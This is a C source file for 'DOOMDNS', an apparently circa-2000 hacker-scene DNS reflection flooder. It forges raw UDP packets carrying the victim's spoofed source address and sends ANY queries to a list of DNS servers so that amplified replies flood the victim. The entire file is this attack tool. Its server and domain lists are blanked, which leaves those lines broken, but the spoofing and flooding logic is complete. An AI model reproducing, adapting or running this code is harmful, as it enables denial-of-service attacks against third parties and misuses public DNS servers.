/******************************************************************
*				       						*
* DOOMDNS	Yet another flooder with 1:x pkts ratio. This one 	*
*		exploits DNS simple QUERY with spoofed UDPs.	  	*
*		Since almost every DNS is bound to answer queries 	*
*		from the void, and since UDP doesn't provide a	  	*
* 		fruitful authentication process cause plain TCP   	*
*		does, uh !? ;) here we are.	  		  		*
*								  			*
*			       hints by |scacco|, code by FuSyS   	*
*			       http://www.s0ftpj.org              	*
*								  			*
******************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>

#define IP_HEAD_BASE		20
#define UDP_HEAD_BASE		8

unsigned long saddr;
int sfd, loop;
char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
char *domains[]={/* LISTA ASSENTE */ ,NULL};

struct DNS_MSG
  {
    HEADER head;
    char query[255];
  };

struct dns_pkt
  {
    struct iphdr ip;
    struct udphdr udp;
    char data[1000];
  };

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1)
    {
      if(!(hostEnt=gethostbyname(hostname)))
        {
          fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
          exit(0);
        }
      bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
    }
  return addr.s_addr;
}

void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
  struct sockaddr_in sin;
  struct dns_pkt dpk;
  struct DNS_MSG killer;
  int shoot, len;

  memset(&killer, 0, sizeof(killer));
  killer.head.id=getpid();
  killer.head.rd=1;
  killer.head.aa=0;
  killer.head.opcode=QUERY;
  killer.head.qr=0;
  killer.head.qdcount=htons(1);
  killer.head.ancount=htons(0);
  killer.head.nscount=htons(0);
  killer.head.arcount=htons(0);
  strcat(killer.query, domains[--loop]);
  killer.query[strlen(domains[loop])+2]=0x00FF;
  killer.query[strlen(domains[loop])+4]=0x0001;

  memset(&dpk, 0, sizeof(dpk));

  dpk.udp.source=src;
  dpk.udp.dest=dst;
  len=(12+strlen(killer.query)+5);
  dpk.udp.len=htons(UDP_HEAD_BASE+len);
  memcpy(dpk.data, (void*)&killer, len);

  dpk.ip.ihl=5;
  dpk.ip.version=4;
  dpk.ip.tos=0;
  dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
  dpk.ip.frag_off=0;
  dpk.ip.ttl=64;
  dpk.ip.protocol=IPPROTO_UDP;
  dpk.ip.saddr=saddr;
  dpk.ip.daddr=daddr;

  memset(&sin, 0, sizeof(sin));
  sin.sin_family=AF_INET;
  sin.sin_port=dst;
  sin.sin_addr.s_addr=daddr;

  shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
               0, (struct sockaddr *)&sin, sizeof(sin));
  if(shoot<0)fprintf(stderr, "SPOOF ERROR");
  loop++;
}

void doomzone (void)
{
  unsigned long daddr;
  unsigned short source, dest;

  if(dns_def[loop]==NULL) loop=0;
  daddr=nameResolve(dns_def[loop++]);
  source=htons(1024+(rand()%2000));
  dest=htons(53);
  forge(daddr, source, dest);
}

int main (int argc, char **argv)
{
  int sfdo;
  unsigned int hz=100;

  if(argc<2)
    {
      fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
      fprintf(stderr, "Use: %s target [n]\n", argv[0]);
      exit(0);
    }

  if(argv[2]) hz=atoi(argv[2]);
  saddr=nameResolve(argv[1]);

  srand(time(NULL));

  if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
    {
      fprintf(stderr, "\nSOCK_RAW Died\n");
      exit(2);
    }
  sfdo=1;
  if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0)
    {
      fprintf(stderr, "\nIP_HDRINCL Died\n");
      exit(3);
    }

  printf("\n\033[1;32mD00M DNS\033[0m");
  printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
  printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");

  loop=0;
  while(hz--)
    {
      doomzone();
      printf("\033[1;34m.\033[0m");
    }
  printf("\n\n");
  return(0);
}
/*                    www.hack.co.za              [2000]*/